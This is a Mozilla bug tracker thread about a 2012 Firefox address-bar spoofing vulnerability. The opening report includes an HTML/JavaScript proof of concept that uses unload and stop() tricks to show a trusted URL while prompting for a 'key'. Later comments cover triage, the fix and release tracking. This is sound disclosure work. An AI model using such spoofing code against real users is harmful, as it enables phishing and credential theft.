Closed
Bug 725611
Opened 13 years ago
Closed 13 years ago
[CAL-2012-0019]Firefox website spoof vulnerability by hook event
Categories
(Firefox :: Address Bar, defect)
Tracking
()
VERIFIED
FIXED
Firefox 14
People
(Reporter: vulnhunt, Assigned: dao)
References
Details
(Whiteboard: [sg:moderate][advisory-tracking+] fixed by bug 724599 )
Attachments
(1 file)
|
1.44 MB,
image/gif
|
Details |
User Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Build ID: 20120129021758
Steps to reproduce:
[CAL-2012-0019]Firefox website spoof vulnerability by hook event
1 Affected Products
=================
tested Firefox 10.0(last)
2 Vulnerability Details
=====================
Code Audit Labs of Vulnhunt.com(http://www.vulnhunt.com) has discovered a website spoof vulnerability in firefox which may Trick victims trust attack content as truested websit content like google in example.
3 POC:
====
open a html with following content
===================================
<h1 id="msg">type www.google.com in address bar for CAL-2012-0019 by Code Audit Labs of Vulnhunt.com</h1>
<h1 id="spoof"><input id="log"></h1>
<script type="text/javascript">
spoof.style.display = 'none';
var done = 0;
var got = 0;
onbeforeunload = function(ev) {
done = 1;
alert('Move your mouse now \nclick "Leave Page" with keyboard')
return false;
}
onmousemove = function() {
stop();
//console.log(done)
if (done && !got) {
msg.style.display = 'none';
got = prompt('enter your key?');
if (got) {
spoof.style.display = 'block';
log.value = got;
}
}
}
</script>
===================================
4 About Code Audit Labs:
=====================
Code Audit Labs secure your software,provide Professional include source
code audit and binary code audit service.
Code Audit Labs:" You create value for customer,We protect your value"
http://www.VulnHunt.com
http://blog.vulnhunt.com
http://t.qq.com/vulnhunt
http://weibo.com/vulnhunt
Actual results:
spoof
Expected results:
not spoof
Comment 1•13 years ago
|
||
This is basically identical to bug 724599 but with slightly less explicit user interaction... I think we're going to have to revert the urlbar for script-initiated stop()s.
Status: UNCONFIRMED → NEW
Component: Untriaged → Location Bar
Depends on: CVE-2012-1950
Ever confirmed: true
QA Contact: untriaged → location.bar
Whiteboard: [sg:moderate]
Comment 2•13 years ago
|
||
The problem with that is that a page can put a stop() on a timeout to keep the user from editing the url bar text... Can we revert only if we'd started a load from the url bar?
Comment 3•13 years ago
|
||
Can we subject stop() to popup abuse controls? As far as I can see, pages only need to use it in response to user interaction.
Comment 4•13 years ago
|
||
I kinda like that idea, actually. It wouldn't be hard to do, for sure....
| Assignee | ||
Comment 5•13 years ago
|
||
(In reply to neil@parkwaycc.co.uk from comment #3)
> Can we subject stop() to popup abuse controls? As far as I can see, pages
> only need to use it in response to user interaction.
filed bug 740295
Status: NEW → RESOLVED
Closed: 13 years ago
Resolution: --- → FIXED
Whiteboard: [sg:moderate] → [sg:moderate] fixed by bug 724599
Target Milestone: --- → Firefox 14
Comment 6•13 years ago
|
||
I'm not seeing any difference in behavior with the PoC in comment 0 before and after bug 724599 was fixed.
Comment 7•13 years ago
|
||
That said, I don't see the behavior from the attached gif anywhere.
Comment 8•13 years ago
|
||
We're already tracking bug 724599 for ESR.
status-firefox-esr10:
--- → affected
tracking-firefox-esr10:
--- → -
Updated•13 years ago
|
status-firefox12:
--- → wontfix
status-firefox13:
--- → affected
status-firefox14:
--- → fixed
tracking-firefox14:
--- → +
Comment 9•13 years ago
|
||
Moving tracking to 13 to make sure these fixes get verified when they land.
tracking-firefox13:
--- → +
Comment 10•13 years ago
|
||
(In reply to Al Billings [:abillings] from comment #6)
> I'm not seeing any difference in behavior with the PoC in comment 0 before
> and after bug 724599 was fixed.
I still don't see any difference with Firefox 12 and the post-checkin build with the fix and the attached POC.
Updated•13 years ago
|
Comment 11•13 years ago
|
||
This is still being tracked for Firefox 13? Are we taking this on the beta branch (13) or not?
| Assignee | ||
Comment 12•13 years ago
|
||
It's too late to land bug 724599 for Firefox 13.
Updated•13 years ago
|
Assignee: nobody → dao
Comment 13•13 years ago
|
||
Assigning this bug to Dao so that we can ensure there's someone on the hook to fix this for ESR.
Comment 14•13 years ago
|
||
The fix is bug 724599.
Updated•13 years ago
|
Whiteboard: [sg:moderate] fixed by bug 724599 → [sg:moderate][advisory-tracking+] fixed by bug 724599
Comment 15•13 years ago
|
||
Since this is fixed by bug 724599 and that was checked into ESR, is there any reason to not mark this as fixed in status-firefox-esr10 field?
| Assignee | ||
Updated•13 years ago
|
Comment 16•13 years ago
|
||
Marking this as verified for 14 and trunk since bug 724599 was verified by me there.
Status: RESOLVED → VERIFIED
Updated•13 years ago
|
Group: core-security
Comment 17•13 years ago
|
||
Transitively marking this verified for ESR based on my verification in bug 724599.
You need to log in
before you can comment on or make changes to this bug.
Description
•